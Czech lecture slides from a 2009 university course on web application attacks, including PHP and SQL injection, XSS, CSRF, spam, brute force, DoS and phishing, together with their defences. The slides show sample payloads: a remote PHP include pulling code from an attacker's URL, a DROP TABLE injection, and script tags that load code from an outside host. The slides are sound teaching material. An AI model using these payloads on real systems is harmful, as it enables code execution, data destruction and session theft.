Vývoj internetových aplikací. 9. Útoky na internetové aplikace. a možná obrana proti nim



Podobné dokumenty
Vývoj Internetových Aplikací

Testování webových aplikací Seznam.cz

Hitparáda webhackingu nestárnoucí hity. Roman Kümmel

Cross-Site Scripting (XSS)

Šifrování Autentizace Bezpečnostní slabiny. Bezpečnost. Lenka Kosková Třísková, NTI TUL. 22. března 2013

Cross- Site Request Forgery

1 Webový server, instalace PHP a MySQL 13

Aktuální hrozby internetu. 1.Trojské koně (malware) 2.Phishing 3.Sociální sítě

Web Application Security aneb další. rozměr hackingu. XanthiX Soom session IV

1. Webový server, instalace PHP a MySQL 13

PHP a bezpečnost. nejen veřejná

Bezpečnost sítí, Firewally, Wifi. Ing. Pavel Píše

Typy bezpečnostních incidentů

Úvodem 9. Zpětná vazba od čtenářů 10 Zdrojové kódy ke knize 10 Errata 10. Než začneme 11

CISCO CCNA I. 8. Rizika síťového narušení

Instalace a konfigurace web serveru. WA1 Martin Klíma

Gymnázium a Střední odborná škola, Rokycany, Mládežníků 1115

Bezpečnost webových aplikací

17. července :51 z moravec@yahoo.com

Verze 1.x 2.x 3.x 4.x 5.x. X X X X uživatelům (správcům) systému Řazení dat v přehledech podle jednotlivých sloupců

Nejčastější zranitelnosti webových aplikací. Pavel Bašta

Zranitelnosti webových aplikací. Vlastimil Pečínka, Seznam.cz Roman Kümmel, Soom.cz

1. Úvod do Ajaxu 11. Jak Ajax funguje? 13

STŘEDNÍ ŠKOLA INFORMAČNÍCH TECHNOLOGIÍ A SOCIÁLNÍ PÉČE

Databázové aplikace pro internetové prostředí PHP úvod, základní princip, vkládání skriptu, komentáře, výpis na obrazovku

ÚROVEŇ BEZPEČNOSTI INTERNETOVÝCH APLIKACÍ V ČESKÉ REPUBLICE SECURITY OF INTERNET APPLICATIONS IN THE CZECH REPUBLIC. Petr Zelenka

POLICEJNÍ AKADEMIE ČESKÉ REPUBLIKY FAKULTA BEZPEČNOSTNÍHO MANAGEMENTU. Některé aspekty kybernetické kriminality

Vstupní požadavky, doporučení a metodické pokyny

2.přednáška. Informační bezpečnost: Systém řízení informační bezpečnosti (ISMS)

Inovace výuky prostřednictvím ICT v SPŠ Zlín, CZ.1.07/1.5.00/ Vzdělávání v informačních a komunikačních technologií

Ing. Přemysl Brada, MSc., Ph.D. Ing. Martin Dostal. Katedra informatiky a výpočetní techniky, FAV, ZČU v Plzni

Zabezpečení proti SQL injection

Problematika internetové bezpečnosti a obrany proti DDoS útokům. Ing. Tomáš Havlíček Produktový manažer

Adware ENISA. Aktivní kybernetická obrana. Aktivum. Analýza hrozeb. Analýza počítačového viru. Antispamový filtr. Antivirový program

Maturitní témata Školní rok: 2015/2016

Firewally a iptables. Přednáška číslo 12

Individuální projekt z předmětu webových stránek 2012/ Anketa

Obrana sítě - základní principy

Škodlivý kód, útok na aplikace. Ing. Miloslav Hub, Ph.D. 5. prosince 2007

PB169 Operační systémy a sítě

Kurz je rozdělen do čtyř bloků, které je možné absolvovat i samostatně. Podmínkou pro vstup do kurzu je znalost problematiky kurzů předešlých.

Jen technická ochrana nestačí. Ing. Jindřich Hlaváč, CISA DCIT, a.s.,

rychlý vývoj webových aplikací nezávislých na platformě Jiří Kosek

Informační a komunikační technologie. 1.5 Malware

PHP PHP je skriptovací programovací jazyk dynamických internetových stránek PHP je nezávislý na platformě

IT bezpečnost Phishing. Školení pro uživatele sítě WEBnet

Zabezpečení proti SQL injection

Problematika internetové bezpečnosti a obrany proti DDoS útokům. Ing. Tomáš Havlíček Produktový manažer

Bohdan Lajčuk Mikulov

Registrační číslo projektu: CZ.1.07/1.5.00/ Elektronická podpora zkvalitnění výuky CZ.1.07 Vzděláním pro konkurenceschopnost

Malware. počítačové viry, počítačové červy, trojské koně, spyware, adware

Střední odborná škola a Střední odborné učiliště, Hořovice

Formuláře. Internetové publikování. Formuláře - příklad

Dell SonicWALL. Security tips & tricks. Jan Ježek business communication s.r.o.

HLEDEJCENY.mobi. Obsah. Mobilní verze e-shopu. Důvody instalace

Kybernetické hrozby - existuje komplexní řešení?

INOVACE PŘEDMĚTŮ ICT. MODUL 11: PROGRAMOVÁNÍ WEBOVÝCH APLIKLACÍ Metodika

Obsah. Předmluva Kapitola 1 Úvod 1. Web v kostce 1 Kdo je webmaster? 4 Doporučená literatura 4. Kapitola 2 Přehled jazyka HTML 5

Protokol HTTP 4IZ228 tvorba webových stránek a aplikací

Jaku b Su ch ý 1

Zabezpečení kolejní sítě

Aplikační vrstva. Úvod do Php. Ing. Martin Dostal

Bezpečnost sítí. Bezpečnostní služby v sítích kategorie:

Návod na používání webmailu

Webové stránky fotbalového klubu

Bezpečnost internetového bankovnictví, bankomaty

IT bezpečnost Phishing. Školení pro uživatele sítě WEBnet

INFORMAČNÍ SYSTÉMY NA WEBU

Uživatel počítačové sítě

APS Administrator.OP

Webová stránka. Matěj Klenka

SSL Secure Sockets Layer

Inovace bakalářského studijního oboru Aplikovaná chemie

Číslo a název šablony III / 2 = Inovace a zkvalitnění výuky prostřednictvím ICT

PRŮBĚHOVÝ TEST Z PŘEDNÁŠEK

Koláčky, sezení. Martin Klíma

SYLABUS IT V. Jiří Kubica. Ostrava 2011

Novinky ve FlowMon 6.x/FlowMon ADS 6.x

Obsah. Úvodem 9. Kapitola 1 Než začneme 11. Kapitola 2 Dynamické zobrazování obsahu 25. Zpětná vazba od čtenářů 10 Zdrojové kódy ke knize 10 Errata 10

Internet 2 css, skriptování, dynamické prvky

Elektronická podpora výuky předmětu Komprese dat

Cross Site Request Forgery

Obsah. Rozdíly mezi systémy Joomla 1.0 a Systém Joomla coby jednička online komunity...16 Shrnutí...16

Internet cvičení. ZS 2009/10, Cvičení 3., Tomáš Pop. DISTRIBUTED SYSTEMS RESEARCH GROUP

Bezpečnostní zásady. Příloha č. 1 k Podmínkám České národní banky pro používání služby ABO-K internetové bankovnictví

Analýza aplikačních protokolů

přes webový prohlížeč pomocí Ing. Tomáš Petránek

Relační vrstva SMB-Síťový komunikační protokol aplikační vrstvy, který slouží ke sdílenému přístupu k souborům, tiskárnám, sériovým portům.

Ochrana prezentací vytvořených v systému Visual PHP proti vnějším útokům

Bezpečnost sítí útoky

WNC::WebNucleatCreator

language="javascript">... </script>.

Střední odborná škola a Střední odborné učiliště, Hořovice

Dalibor Kačmář

Třídy a objekty. Třídy a objekty. Vytvoření instance třídy. Přístup k atributům a metodám objektu. $z = new Zlomek(3, 5);

Výukový materiál zpracovaný v rámci projektu CZ.1.07/1.4.00/ , Modernizace výuky

DUM č. 11 v sadě. 36. Inf-12 Počítačové sítě

Snadný vývoj webových aplikací s Nette. Lukáš Jelínek

Úvod do informačních služeb Internetu

1.1. Základní informace o aplikacích pro pacienta

Transkript:

Vývoj internetových aplikací 9. Útoky na internetové aplikace a možná obrana proti nim Tomáš Tureček, Jiří Suchora, VŠB-TU Ostrava, FEI, 456, 2009

Obsah přednášky Úvod PHP injekce SQL injekce XSS útoky CSRF útoky Spam Brute-force, Slovníkové útoky Dos, DDoS Sociální inženýrství, krádeže osobních dat a identity Zdroje a doporučená literatura

Porovnání klasického a kybernetického zločinu Parametr Průměrné ozbrojené přepadení Průměrný kybernetický útok Riziko Pachatel riskuje zranění Bez rizika fyzického zranění Zisk Průměrně 3-5000 USD Cca 50-500 000 USD Pravděpodobnost dopadení Pravděpodobnost odsouzení Trest 50-60% šance dopadení 10% šance dopadení 95% šance odsouzení při dopadení 5-6 let v průměru, pokud pachatel nikoho nezabil 15% dopadených soudně stíháno, z toho 50% odsouzeno 2-4 roky v průměru Zdroj: Kybernetická kriminalita, Václav Jirovský

Webové aplikace a jejich náchylnost k různým typům útoků 1Q 2009 WhiteHat Security % web sites

Množství (%) web sites se zranitelností kategorie urgent, critical a high v průmyslových odvětvích 1Q 2009, WhiteHat Security

Vybrané typy útoků PHP injekce SQL injekce XSS útok CSRF útok Spam Brute-force, Slovníkový útok DoS, DDoS Sociální inženýrství, krádeže osobních dat a identity

PHP injekce Charakteristika útoku Příklad Ochrana

PHP injekce Zneužití PHP funkcí include()a require() ve špatně napsaných webových aplikacích Vložení jakéhokoliv cizího kódu do kódu aplikace Příklady cílů útoku: vypsání zdrojového kódu aplikace procházení adresáři práci s adresáři a soubory (v případě špatně nastavených práv)

PHP injekce Příklad špatného kódu: http://web/index.php?page=http://utocnikuvweb/phpkod.txt <? $page = $_GET['page'];include $page;?> Vstup pomocí GET není ošetřen tudíž lze vložit do proměnné $page cokoliv co se útočníkovi bude líbit. Příklad útoku: vložení URL se škodlivým skriptem pro vypsání zdrojového kódu aplikace nebo spuštění tzv. "php shellu" Ukázka

PHP injekce - obrana Použití funkcí: addslashes() stripslashes() htmlspecialchars() Nastavení magic_quotes_gpc (automatické escapování znaků) allow_url_fopen (povolení čtení dat přes http) allow_url_include (vkládání souboru pres http) register_globals (automatické plnění proměnných)

SQL injekce Charakteristiku útoku Příklad útoku Obrana na straně serveru Obrana na straně databáze

SQL injekce SQL příkaz vložený do původního SQL příkazu Zdrojem útoku je obvykle uživatelský vstup Formuláře Textbox Text QueryString Cíle útoku: získat data poškodit data získat přístup do aplikace a dalším zdrojům

SQL injekce Příklad: správný (autorem aplikace zamýšlený) dotaz: http://web/vieworder.php?auto=nissan SQL dotaz použitý v aplikaci: $sql = "select * from orders where name='$auto'"; útok: namísto nissan nissan' or 2>1 - select * from orders where name='nissan' or 2>1 ' popřípadě nissan -> nissan'; drop table orders - první dotaz vypíše všechny prvky v tabulce, druhý smaže tabulku Ukázka

SQL injekce obrana na straně serveru kontrola typů očekávaných hodnot is_string() is_numeric() použití funkcí pro escapování nebezpečných hodnot html_specialchars() addslahes() mysql_real_escape_string() vypnutí chybových hlášení

SQL injekce obrana na straně databáze Princip minimálních práv zřízení databázových uživatelských účtů pro: čtení konkrétních tabulek zápis do konkrétních tabulek manipulaci s databázovým schématem Logování důležitých událostí pro pozdější nápravu po případném poškození útočníkem

XSS útok Charakteristika útoku Příklad skriptu Persistent XSS útok Non-Persistent XSS útok Bypassing a DOM-bassed útoky Obrana

XSS útok Zneužití skriptovacího jazyka na straně klienta (JavaScript) Skript je součástí webové stránky při jejím načtení a je proveden prohlížečem Cíl útoku: krádež cookies nebo session neautentizovaný přístup do uživatelem používané aplikace keylogger přístup k objektům v dokumentu za použití dokumentového objektového modelu (DOM) prohlížené stránky

XSS útok Příklad útoku: načtení jiného webu pomocí nového rámce: <iframe src="http://web.com"></iframe> přesměrování: <script>document.location='http://web.com';</script> načtení skriptu z cizího umístění a jeho následné provedení: <script src= http://web.com/javascript.js"></script> a další složitější typy kódu, jako již zmíněná příprava keloggeru nebo krádež id sezení či cookies napadeného uživatele Ukázka

XSS útok trvalý (persistent) Výskyt na místech, kde má uživatel možnost vkládat do aplikace data fórum návštěvní kniha komentáře Po vložení zůstává škodlivý kód přístupný pro každého uživatele, který infikovaný web navštíví

XSS útok dočasný (non-persistent) Nejčastěji předáván oběti formou podvrženého linku Škodlivý skript je součástí stránky, ale je předáván jako součást HTTP požadavku Nejčastější výskyt: u vyhledávačů u stránek s dynamicky definovaným chybovým hlášením

Příklad existující stránky náchylné k dočasnému XSS útoku

XSS útok DOM based útok podvrhnutí hodnot jednotlivým objektů DOMu na prohlížené stránce za účelem oklamání uživatele Bypassing útok obdoba SQL injekce hodnota zadaná uživatelem je začleněna do HTML stránky jako hodnota parametru jiného tagu v aplikaci (pomocí předčasně uzavřeného původního tagu) příklad vadného php kódu a útočícího dotazu: <? echo "<input type='text' name='search' value='$search'>";?> http://web/index.php?search=val'><script src='http://myweb/script.js'></script>

XSS útok - obrana Na straně klienta: zákaz skriptování (JavaScriptu) v prohlížeči případně povolení skriptování jen pro konkrétní (bezpečné) aplikace Na straně serveru: kontrolovat uživatelských vstupů a jejich filtrace od problémových řetězců a znaků

Útok Cross side request forgery (CSRF) Charakteristika útoku Obrana na straně klienta Obrana na straně serveru

CSRF útok Útoky jsou většinou prováděny formou speciálně upravených odkazů vedoucí k předem připravené akci útočníka (emailem, instant messagingem, XSS, ) Útok je obvykle používán v kombinaci s XSS Napadený uživatel provede akci, kterou nemá v úmyslu Příklad cílů útoku: Získání hlasů internetových v anketách Princip přihlášené oběti neautorizovaný přístup do aplikace, kde je uživatel (v jiném okně) právě přihlášen (nepřiklad změna hesla a jeho okamžité zneužití)

CSRF útok obrana na straně klienta Vyhýbání se cizím odkazům Obrana proti XSS Pokud nepotřebujeme, nejsme přihlášení k žádné službě zbytečně, a provádíme pokud možno všechny akce jako anonymní uživatel (zabráníme provedení akce, pod právy oběti)

CSRF útok obrana na straně serveru Hlídání hlavičky referrer (odkud návštěvník přichází) definice řetězce návaznosti stránek u aplikace například povolením přístupu k nebezpečným operacím jen z menu aplikace Navigace v aplikaci s použitím proměnlivých URL požadovaná stránka se pak nachází vždy na jiné adrese, nelze stejný odkaz použít vícekrát Navigace v aplikaci s použitím tzv. hlídacích lístků Server vygeneruje jedinečné ID do skrytého pole stránky a to pak ověřuje

Spam Charakteristika Spamu Obrana u webového/komentářového spamu Ochrana u emailového spamu Graf rozšíření email/web spamu v různých částech světa Graf rozdělení podle typu spamu

Spam Nevyžádané masové sdělení, šířící se internetem Výskyt: email fórum komentáře instant messaging Cíl útoku: informovat o službě/produktu přilákat uživatele na infikovanou stránku phishing znemožnit uživatelům používání jejich e-mailu získání konkurenční výhody mezi emailovými servery zařazením konkrétního serveru na černou listinu

Spam obrana Moderování příspěvků Povinná registrace všech přispěvatelů (a jejich následný ban) CAPTCHA způsob jak odlišit uživatele od robota (například text vepsaný do obrázku a jeho kontrola) Antispamový filtr black list spamujících domén rozsah doby odesílání příspěvků z jedné IP filtrace slovních spojení typických pro SPAM

Spam obrana emailu Black listing filtrace podle adresy uživatele/ip Filtrace na základě obsahu emailu Filtrace založená na učení se nových pravidel jak rozpoznat spam (tzv. bayesovské učení) nejúčinější pokud filtry učí sami uživatelé

Procento spamu v emailové komunikaci zdroj: Symantec

Statistika oblastí zdrojů spamu 2009, zdroj: Symantec

Statistika procentuálního rozložení podle předmětů spamu nigerijské dopisy řetězové zprávy pyramidové zprávy Verifikace Phishing kreditních karet přihlašovacích údajů Online kasina Výhry loterie dovolené Informace o službách 2009, zdroj: Symantec

Stoupající trend výskytu malware ve spamech 2009, zdroj: Symantec

Spam a malware - příklad Trojan.Bredolab 2009, zdroj: Symantec

Brute-force, slovníkové útoky Charakteristika Brute-force útok Slovníkový útok Ochrana

Brute-force útok Zjišťování informací hrubou silou, opakování dotazů s generovanými informacemi Časově náročné řešení, závisí na prostředí: složitost kódu/hesla k prolomení stroj útočníka stroj oběti rychlost připojení Ukázka Cíl útoku: obvykle hledání/prolomení přístupového kódu/hesla

Brute-force slovníkový útok Výhoda: redukovaný prostor řešení méně časově náročný přístup existence slovníků na internetu jména, příjmení, nejčastěji používaná slova v konkrétním jazyce Nevýhoda: není zde garance úspěchu jako u útoku hrubou silou

Brute-force (slovníkový) útok - obrana Aplikace definuje: časové rozmezí mezi neúspěšným zadáním hesla pravidla pro přihlášení například 5x špatné heslo a následná blokace požití dlouhého/složitého hesla obsahující velké/malé písmena, čísla a speciální znaky

Orientační čas pro prolomení hesla (závisí na podmínkách) Zdroj: lifehacker.com

(Distributed) Denial-of-Service DoS, DDoS Charakteristika Typické znaky útoku Syn Flood útok Ping Flood útok Smurf attack Možná obrana

DoS, DDoS Technika útoku využívající přehlcení serveru/aplikace velkým množstvím požadavků Cíle útoku: pád serveru/aplikace způsobené přetížením nebo vyčerpáním zdrojů zaplavení provozu na síti náhodnými daty které zabraňují protékání skutečných dat omezení přístupu ke službě všem nebo konkrétnímu uživateli narušení konfiguračního nastavení vsunutím chybových hlášení do sekvence instrukcí které můžou vést k pádu systému

DoS Syn flood Cíl: znemožnit uživatelům navázat TCP spojení se serverem TCP handshake: klient pošle na server paket s příznakem SYN server potvrdí žádost o spojení paketem s příznaky SYN a ACK Klient potvrdí potvrzení serveru paketem s příznakem ACK

DoS Syn flood Útok: útočník zahltí server množstvím paketů s příznakem SYN server potvrzuje žádosti o spojení a čeká ACK od klienta, které však nepřijdou (time-out) cílový server brzy vyčerpá prostředky pro připojení a další klienti se již nepřipojí

DoS Ping flood V případě, že má útočník k dispozici rychlejší připojení než oběť, může zahltit cílový stroj velkým množstvím požadavků ping Cíl útoku: znemožnit oběti používat připojení znemožnit uživatelům přístup ke službě zprostředkovávané obětí

DoS Smurf attack Hromadný ping flood Při chybné konfiguraci sítě je možné zahltit lokální síť množstvím ping dotazů s použitím broadcast adresy Cíl útoku: vyřadit z provozu segment sítě

DoS ochrana Webové aplikace (aplikační vrstva) použití různých modulů pro webový server omezující využití prostředků pro jednotlivé uživatele např. modul mod_bandwidth u Apache HTTP serveru Sítě (transportní vrstva) definice paketového filtru např. SYN-cookies, proti útoku SYN-Floods používání aktivních síťových prvků se zabudovanou ochranou proti útokům např. komerční firewall DefensePro

Sociální inženýrství,ztráta identity Charakteristika Hrozby Tabulka zájmu zlodějů dat o sociální sítě podle země původu Obvyklé ceny komodit na černém trhu Zdroje phishingových útoků podle země původu Cíle phishingových útoků

Sociální inženýrství, ztráta identity Sociální sítě: seznamky chaty blogy Phishing podvržené emaily podvržené webové stránky podvodné telefonáty Získané informace se prodávají na černém trhu (underground market/economics)

Sociální inženýrství, ztráta identity Hrozby: použití důvěryhodného webu s chybou a jeho zneužití k dalšímu útoku hledají se informace o uživatelích ne chyby v systémech získané informacemi jsou prodávány na černém trhu a pak dále zneužívány potřeba okamžité reakce administrátorů na chyby v systémech uživatelů při prozrazení jejich důvěrných informací

TOP 10 zájem o komodity a jejich cena na černém trhu

Top 15 zájem o informace ze zemí a oblast zájmu o informace v dané zemi Listopad 2009, zdroj: Symantec

Phishing - ukázka

Zdroje a doporučená literatura Marshal.com Symantec.com Whitehatsec.com Kybernetická kriminalita Václav Jirovský Bojiště zítřka James F. Dunnigan Umění klamu Kevin Mitnick Wikipedia

Děkuji za pozornost Dotazy?